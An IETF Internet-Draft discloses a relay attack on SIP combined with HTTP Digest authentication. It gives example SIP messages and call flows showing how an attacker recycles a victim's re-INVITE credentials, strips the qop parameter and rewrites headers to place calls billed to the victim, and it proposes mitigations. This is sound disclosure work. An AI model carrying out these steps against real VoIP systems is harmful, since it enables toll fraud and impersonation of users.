SIP WG
Internet-Draft
Intended status: Informational
Expires: September 3, 2009

R. State
University of Luxembourg
O. Festor
H. Abdelnur
INRIA, Centre de recherche Grand Est
V. Pascual
J. Kuthan
R. Coeffic, Ed.
J. Janak
J. Floroiu
Tekelec / iptel.org

March 2, 2009

SIP digest authentication relay attack
draft-state-sip-relay-attack-00

Status of This Memo

This Internet-Draft will expire on September 3, 2009.

Copyright Notice

Abstract

The Session Initiation Protocol (SIP [RFC3261]) provides a mechanism for creating, modifying, and terminating sessions with one or more participants. This document describes a vulnerability of SIP combined with HTTP Digest Access Authentication [RFC2617] through which an attacker can leverage the victim's credentials to send authenticated requests on his behalf. This attack is different from the man-in-the-middle (MITM) attack and does not require any eavesdropping, DNS or IP spoofing.

Table of Contents

1. Introduction

The Session Initiation Protocol (SIP [RFC3261]) provides a mechanism for creating, modifying, and terminating sessions with one or more participants. The route used for messages within an established session is determined by the route-set, which is recorded during session initiation using the record-routing mechanism. Additionally, the participants provide a contact address, the address at which they whish to be contacted for further requests within a given session.

This document describes a vulnerability of SIP combined with HTTP Digest Access Authentication [RFC2617] through which an attacker can leverage the victim's credentials to send authenticated requests. This attack is different from the man-in-the-middle (MITM) attack and does not require any eavesdropping, DNS or IP spoofing. In most cases, the session can be initiated by the attacker and only requires the victim to send a re-INVITE or any other in-dialog request that can also be used out-of-dialog at some point in time, which can be triggered by the attacker as well.

Digest Access Authentication is the authentication mechanism which is used by SIP proxies and UAs to authenticate any type of request sent by a UA (apart from CANCEL and ACK). It is mostly used by proxies to authenticate registrations and session setup. It is based on the exchange of a challenge, generated by the UAS, and a response, which is generated by the UAC. Challenge and response are based on digesting and hashing a secret and certain parts of the messages.

2. Terminology

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in RFC 2119 [RFC2119].

The other concepts and terminology used in this document are compatible with RFC3261 [RFC3261] and [RFC2617].

3. Mode of operation

This attack creates a man-in-the-middle situation by SIP means to start a more classical attack on Digest Access Authentication ([RFC2617]). This allows the attacker to send SIP requests on behalf on the victim, while using credentials generated by the victim. In particular, it allows the attacker to start the MITM attack on Digest Access Authentication without the need for eavesdropping, DNS or IP spoofing.

This is done by establishing a session with the victim, in which the

attacker is placed between the victim and the authenticating proxy on the signaling path. Then, an in-dialog request sent by the victim is recycled and turned into an out-of-dialog request that can be sent to a target chosen by the attacker.

3.1. The basic relay attack

Figure 1 shows the relay attack, which can be executed as-is if the victim accepts requests from any host. Please note that this is the simplest case. However, even if the victim's UA would only accept requests from its outbound proxy, there are still ways to perform this attack (see Section 3.2).

The attacker (bob@rogue.com) starts by initiating a session with Alice with an INVITE request (F1) conforming to [RFC3261].

F1 INVITE Bob -> Alice

```
INVITE sip:alice@dhcp12345.home.com SIP/2.0
Via: SIP/2.0/UDP bob.rogue.com;branch=z9hG4bKnashds8
From: Bob <sip:bob@rogue.com>;tag=9fxced76sl
To: Alice <sip:alice@proxy.com>
Call-ID: 3848276298220188511@rogue.com
Contact: <sip:bob.rogue.com>
Content-Type: application/sdp
Content-Length:...

[SDP not shown]
```

In F1 above, the request URI is set to alice@dhcp12345.home.com, which is the contact that Alice registered at proxy.com. This contact can be obtained by setting up another session with Alice prior to the attack, this time using alice@proxy.com as a request URI, and remembering the contact address given by Alice's UA in the 200 reply.

After Alice has sent a successful final reply (F2), Bob sends an ACK (F3) and the session is initiated between Bob and Alice.

F2 200 OK Alice -> Bob

```
SIP/2.0 200 OK
Via: SIP/2.0/UDP bob.rogue.com;branch=z9hG4bKnashds8
From: Bob <sip:bob@rogue.com>;tag=9fxced76sl
To: Alice <sip:alice@proxy.com>;tag=6546g5er4g
Call-ID: 3848276298220188511@rogue.com
Contact: <sip:alice@dhcp12345.home.com>
Content-Type: application/sdp
Content-Length:...

[SDP not shown]
```

```
                             bob              alice     +1-900-xxx
         proxy.com       @rogue.com        @proxy.com   @proxy.com
            |                 |                 |            |
            |                 |  INVITE F1      |            |
            |                 |---------------->|            |
            |                 |  200 OK F2      |            |
            |                 |<----------------|            |
            |                 |     ACK F3      |            |
            |                 |---------------->|            |
            |                 |                 |            |
            |                 |  media session  |            |
            |                 |.................|            |
            |                 |                 |            |
            |                 |  INVITE F4      |            |
            |                 |<----------------|            |
            |              modify               |            |
            |            the request            |            |
            |  INVITE F5      |                 |            |
            |<----------------|                 |            |
            |     407 F6      |                 |            |
            |---------------->|                 |            |
            |     ACK F7      |                 |            |
            |<----------------|                 |            |
            |              reverse              |            |
            |            the changes            |            |
            |                 |     407 F8      |            |
            |                 |---------------->|            |
            |                 |     ACK F9      |            |
            |                 |<----------------|            |
            |              modify               |            |
            |            the request            |            |
            |                 | INVITE(auth) F10|            |
            | INVITE(auth) F11|<----------------|            |
            |<----------------|                 |            |
            |      INVITE F12 |                 |            |
            |----------------------------------------------->|
            |                 |                 |            |
```

Figure 1: Basic relay attack

Once the session between Alice and Bob has been initiated, Bob can either use the SIP session timer [RFC4028] or social engineering to trigger Alice's UA send a re-INVITE (F4). The SIP session timer is very appealing because it does not need any special actions from Alice. Bob only has to maintain the session active until the first refresh, which will happen after 45 seconds if the minimum refresh timer duration (90) has been accepted by Alice's UA.

It is important that the attacker includes the 'refresher=uas' parameter to the Session-Expires header field to force Alice's UA to be the refresher (see [RFC4028] for more details). This choice cannot be overridden by the UAS as stated in [RFC4028], section 9:

> "However, as the table indicates [Table 2], the UAS cannot override the UAC's choice of refresher, if it made one."

It is also important for success of the attack that INVITE is used to refresh the session. In fact, [RFC4028] also allows the use of UPDATE for this purpose. But, as the attack relies on the possibility to turn an in-dialog request into an out-of-dialog request and UPDATE cannot be sent without a dialog, the attacker will try to prevent the victim from using UPDATE. This is done by simply not announcing any support for the UPDATE method.

F4 INVITE Alice -> Bob

```
   INVITE sip:bob.rogue.com SIP/2.0
   Via: SIP/2.0/UDP alice@dhcp12345.home.com;branch=z9hG4bKnashds10
   To: Bob <sip:bob@rogue.com>;tag=9fxced76sl
   From: Alice <sip:alice@proxy.com>;tag=6546g5er4g
   Call-ID: 3848276298220188511@rogue.com
   Route: <sip:bob@bob.rogue.com;lr>
   Contact: <sip:alice@dhcp12345.home.com>
   Content-Type: application/sdp
   Content-Length:...

   [SDP not shown]
```

Social engineering might be required if the session refresh timer could not be set to a value which is small enough or if Alice does not support the SIP session timer. In this case, an accomplice of Bob could call Alice as well, and both can hope that Bob will be placed on hold, which is usually done by sending a re-INVITE. An alternative might be to ask for a transfer call and thus generate a re-INVITE.

F5 INVITE Bob -> proxy.com

```
INVITE sip:+1-900-xxx@proxy.com SIP/2.0
Via: SIP/2.0/UDP bob.rogue.com;branch=z9hG4bKnashds12
To: "+1-900-xxx" <sip:+1-900-xxx@proxy.com>
From: Alice <sip:alice@proxy.com>;tag=6546g5er4g
Call-ID: 98765432982201452340@rogue.com
Contact: <sip:bob.rogue.com>
Content-Type: application/sdp
Content-Length:...

[SDP not shown]
```

Then, Bob uses this re-INVITE (F4) with some modifications to initiate a session with 1-900-xxx@proxy.com (F5). The most obvious modification consists of removing the To-tag so that the request looks like an out-of-dialog request. However, Bob could also change almost any other parts of the message not protected by the authentication mechanism, which in fact means everything but the request method.

F6 407 proxy.com -> Bob

```
SIP/2.0 407 Proxy Authentication Required
Via: SIP/2.0/UDP bob.rogue.com;branch=z9hG4bKnashds12
To: "+1-900-xxx" <sip:+1-900-xxx@proxy.com>
From: Alice <sip:alice@proxy.com>;tag=6546g5er4g
Call-ID: 98765432982201452340@rogue.com
Proxy-Authenticate: Digest realm="proxy.com",
 qop="auth, auth-int", nonce="f84f1cec41e6cbe5aea9c8e88d359543",
 opaque="", stale=FALSE, algorithm=MD5
Content-Length: 0
```

As proxy.com uses authentication to verify the identity of its users, this proxy generates a 407 (Proxy Authentication Required) response (F6) containing a challenge. This challenge is passed back to Alice by constructing a valid 407 response (F8) based on the original re-INVITE (F4), thus reversing the modifications made on the way to proxy.com.

F8 407 Bob -> Alice

```
SIP/2.0 407 Proxy Authentication Required
Via: SIP/2.0/UDP alice@dhcp12345.home.com;branch=z9hG4bKnashds10
To: Bob <sip:bob@rogue.com>;tag=9fxced76sl
From: Alice <sip:alice@proxy.com>;tag=6546g5er4g
Call-ID: 9876543298220145234@rogue.com
Proxy-Authenticate: Digest realm="proxy.com",
 nonce="f84f1cec41e6cbe5aea9c8e88d359543",
 opaque="", stale=FALSE, algorithm=MD5
Content-Length: 0
```

As proxy.com is Alice's proxy, it is most probable that her UA will have the user's credentials and reply this challenge without asking her. While generating the challenge response, some parts of the new INVITE (F10) generated by Alice are hashed into the challenge response, thus protecting those parts from being modified by Bob without proxy.com noticing it.

F10 INVITE Alice -> Bob

```
INVITE sip:bob.rogue.com SIP/2.0
Via: SIP/2.0/UDP alice@dhcp12345.home.com;branch=z9hG4bKnashds10
To: Bob <sip:bob@rogue.com>;tag=9fxced76sl
From: Alice <sip:alice@proxy.com>;tag=6546g5er4g
Call-ID: 3848276298220188511@rogue.com
Route: <sip:bob@bob.rogue.com;lr>
Contact: <sip:alice@dhcp12345.home.com>
Proxy-Authorization: Digest username="alice", realm="proxy.com",
 uri="sip:bob@rogue.com", nonce="f84f1cec41e6cbe5aea9c8e88d359543",
 response="3bea678acef9875433487f23a567d876",
 opaque="", algorithm=MD5
Content-Type: application/sdp
Content-Length:...

[SDP not shown]
```

F11 INVITE Bob -> proxy.com

```
   INVITE sip:+1-900-xxx@proxy.com SIP/2.0
   Via: SIP/2.0/UDP bob.rogue.com;branch=z9hG4bKnashds12
   To: "+1-900-xxx" <sip:+1-900-xxx@proxy.com>
   From: Alice <sip:alice@proxy.com>;tag=6546g5er4g
   Call-ID: 9876543298220145234@rogue.com
   Contact: <sip:bob@bob.rogue.com>
   Proxy-Authorization: Digest username="alice", realm="proxy.com",
    uri="sip:bob@rogue.com", nonce="f84f1cec41e6cbe5aea9c8e88d359543",
    response="3bea678acef9875433487f23a567d876",
    opaque="", algorithm=MD5
   Content-Type: application/sdp
   Content-Length:...

   [SDP not shown]
```

Which parts are included depends on the 'qop' attribute used in the Proxy-Authenticate header field. If the 'qop' attribute has been set to 'auth' or is not present, then only the method and the request URI are hashed. If 'qop=auth-int', the message body is taken into account as well. However, it is very easy for Bob to execute a bid-down attack by simply removing the option 'qop' parameter from the Proxy-Authorize header field (see [RFC2617], section 4.8).

After the bid-down attack has been performed, only the method and the request URI are protected. It is worth noting that the protection provided on the request URI is purely theoretical, as [RFC3261] introduces an exception to the request URI checking required by [RFC2617] in section 22.4:

> "6. RFC 2617 requires that a server check that the URI in the request line and the URI included in the Authorization header field point to the same resource. In a SIP context, these two URIs may refer to different users, due to forwarding at some proxy. Therefore, in SIP, a server MAY check that the Request-URI in the Authorization header field value corresponds to a user for whom the server is willing to accept forwarded or direct requests, but it is not necessarily a failure if the two fields are not equivalent."

This implies that only the method is always protected, whereby the request URI (R-URI) can also be changed. This offers multiple opportunities to the attacker such as impersonating Alice, or calling for free on Alice's expenses.

3.2. Pre-conditions

In the call flow in the previous section, Alice does accept requests from any host on the internet. This allows Bob to call her directly. However, more secure phones are usually configured to only accept requests if they are coming from their outbound proxy. In this case, it might not be as easy as previously to place Bob between Alice and the authenticating proxy, but still possible.

If we keep the assumption that Bob calls Alice first, the call flow shown in Figure 2 can be used. The only possible issue we would encounter here would come from proxy.com removing the credentials from the new INVITE request (F17).

If proxy.com and p2.com are one and the same, or at least performing authentication with the same realm, it is most probable that this is what would happen. But if they are different, there is no reason why proxy.com would remove those credentials, which means that the attack is still possible. In fact, proxies typically do not touch credentials with a realm which is different from the one they belong to.

```
                            bob                            alice
         p2.com        @rogue.com        proxy.com      @proxy.com
           |                |                |                |
           |                |  INVITE F1     |   INVITE F2    |
           |                |--------------->|--------------->|
           |                |  200 OK F4     |   200 OK F3    |
           |                |<---------------|<---------------|
           |                |     ACK F5     |      ACK F6    |
           |                |--------------->|--------------->|
           |                |                |                |
           |                |          mediasession           |
           |                |.................................|
           |                |                |                |
           |                |  INVITE F8     |   INVITE F7    |
           |                |<---------------|<---------------|
           |             modify              |                |
           |           the request           |                |
           | INVITE F9      |                |                |
           |<---------------|                |                |
           |    407 F10     |                |                |
           |--------------->|                |                |
           |    ACK F11     |                |                |
           |<---------------|                |                |
           |             reverse             |                |
           |           the changes           |                |
           |                |     407 F12    |     407 F13    |
           |                |--------------->|--------------->|
           |                |     ACK F15    |     ACK F14    |
           |                |<---------------|<---------------|
           |                | INV w/auth  F17| INV w/auth F16 |
           |                |<---------------|<---------------|
           |             modify              |                |
           |           the request           |                |
           |                |                |                |
           | INV w/auth F18 |                |                |
           |<---------------|                |                |
           |                |                |                |
```

Figure 2: Relay attack with outbound proxy

If the attacker manages to get the victim to call him first, it is even possible to remove the first proxy from the signaling path and attack this proxy's authentication.

An example of this is shown in Figure 3.

```
                           bob                             alice
         proxy.com     @rogue.com        proxy.com      @proxy.com
           |                |                |                |
           |                |  INVITE F1     |   INVITE F2    |
           |                |<---------------|<---------------|
           |         remove proxy.com        |                |
           |         from Record-Route       |                |
           |          and Via headers        |                |
           |                |            200 OK F3            |
           |                |-------------------------------->|
           |                |               ACK F4            |
           |                |<--------------------------------|
           |                |                |                |
           |                |         mediasession            |
           |                |.................................|
           |                |                |                |
           |                |  INVITE F6     |   INVITE F5    |
           |                |<--------------------------------|
           |             modify              |                |
           |           the request           |                |
           | INVITE F7      |                |                |
           |<---------------|                |                |
           |    407 F8      |                |                |
           |--------------->|                |                |
           |    ACK F9      |                |                |
           |<---------------|                |                |
           |             reverse             |                |
           |           the changes           |                |
           |                |             407 F10             |
           |                |-------------------------------->|
           |                |             ACK F11             |
           |                |<--------------------------------|
           |                |     INV w/auth  F12             |
           |                |<--------------------------------|
           |             modify              |                |
           |           the request           |                |
           |                |                |                |
           | INV w/auth F13 |                |                |
           |<---------------|                |                |
           |                |                |                |
```

Figure 3: Alice calls Bob

In the call flow above, Alice calls Bob through her outbound proxy (proxy.com). In the 200 reply, Bob removes proxy.com from the Record-Route and Via header fields. After this manipulation has been done, Bob can proceed with the basic relay attack as shown in Section 3.1.

If Alice is using a Network Address (and Port) Translator (NAPT; which is most probable if Alice is an average consumer), it is especially easy to execute the attack as shown in Figure 3 with UDP. This assumes that proxy.com has written the IP address of Alice's UA in the 'received' parameter of the Via header field. The first possibility is to remove proxy.com from the Record-Route header field, but not from the Via, and hope that proxy.com will not notice this change. The other possibility is to send F3 with the source IP address set to that of proxy.com.

It is worth noting that if Alice sends any other request than INVITE which can also be used out-of-dialog, the same procedures can be applied by the attacker to send such requests with the proper authentication provided by Alice to a destination of his choice.

4. Possible mitigations

There may be many solutions to the problems stated in this document. This section is an attempt to summarize a couple of suggestions that have been made in the past to initiate a debate about most appropriate solutions.

The basic attack as shown in Figure 1 can be prevented successfully with following counter-measures:

- Alice could use a strict outbound proxy. This means that her UA shall only accept SIP messages with a source IP address set to the outbound proxy's IP address.

- The outbound proxy should remove the credentials related to his administrative domain before forwarding the request anywhere else.

The call flows depicted in Figure 2 and Figure 3 show that using an outbound proxy does not solve the problem by itself. It is also very important that this outbound proxy is able to remove the credentials of its users before forwarding the request anywhere else, and shall thus be able to perform the authentication by itself. Or it should at least only forward challenge responses to some well known hosts within the same administrative domain.

However, the case shown in Figure 2 cannot be avoided with a strict outbound proxy as described above, as the attacked proxy is not in the same administrative domain as the outbound proxy. In this case, one way for p2.com to mitigate the attack is to refuse authenticated requests coming from another address as the registered contact, thus forcing registration prior to communication through this proxy.

A somehow interresting mitigation would be to avoid sending re-INVITE

request at all. If a session refresh is needed, UPDATE could be used instead. As shown earlier, it is very simple for the attacker to disable the use of UPDATE anyway. This leads to a situation where Alice would have to refuse to establish sessions with UAs that do not support UPDATE. Whereby this could be reached by deprecating re-INVITE in future version of SIP, this does not really solving the issue with current deployments. On the longer run, the re-INVITE method could be redefined to a dedicated specific method with a distinct set of credentials with respect to the initial INVITE method.

5. Acknowledgements

The authors gratefully acknowledge the contribution of the members of the team that discovered the relay attack: H. Abdelnur, O. Festor, R. State.

6. References

6.1. Normative References

[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, March 1997.

[RFC2617] Franks, J., Hallam-Baker, P., Hostetler, J., Lawrence, S., Leach, P., Luotonen, A., and L. Stewart, "HTTP Authentication: Basic and Digest Access Authentication", RFC 2617, June 1999.

[RFC3261] Rosenberg, J., Schulzrinne, H., Camarillo, G., Johnston, A., Peterson, J., Sparks, R., Handley, M., and E. Schooler, "SIP: Session Initiation Protocol", RFC 3261, June 2002.

[RFC4028] Donovan, S. and J. Rosenberg, "Session Timers in the Session Initiation Protocol (SIP)", RFC 4028, April 2005.

6.2. Informative References

[voipsec-ml] Abdelnur, H., State, R., and O. Festor, "Breaking SIP for fun and toll fraud".

[draft-undery-sip-auth] "Enhanced Usage of HTTP Digest Authentication for SIP".

Appendix A. Change Log

New document

Appendix B. Open Issues

Section 4 needs to be extended.

Authors' Addresses

R. State
University of Luxembourg
6, rue Richard Coudenhove-Kalergi
L-1359 Luxembourg
Luxembourg

Phone: +352 46 66 44 56 47
EMail: Radu.State@uni.lu

O. Festor
INRIA, Centre de recherche Grand Est
61, rue du jardin botanique
Nancy
France

Phone: +33 383 59 30 66
EMail: olivier.festor@inria.fr

H. Abdelnur
INRIA, Centre de recherche Grand Est
61, rue du jardin botanique
Nancy
France

Phone: +33 383 59 30 66
EMail: Humberto.Abdelnur@loria.fr

V. Pascual
Tekelec / iptel.org
Am Borsigturm 11
Berlin
Germany

Phone: +49 30 32 51 32 12
EMail: victor@iptel.org

J. Kuthan
Tekelec / iptel.org
Am Borsigturm 11
Berlin
Germany

Phone: +49 30 32 51 32 13
EMail: Jiri.Kuthan@tekelec.com

R. Coeffic (editor)
Tekelec / iptel.org
Am Borsigturm 11
Berlin
Germany

Phone: +49 30 32 51 32 18
EMail: raphael@iptel.org

J. Janak
Tekelec / iptel.org
Am Borsigturm 11
Berlin
Germany

Phone: +49 30 32 51 32 18
EMail: Jan.Janak@tekelec.com

J. Floroiu
Tekelec / iptel.org
Am Borsigturm 11
Berlin
Germany

Phone: +49 30 32 51 32 16
EMail: John.Floroiu@tekelec.com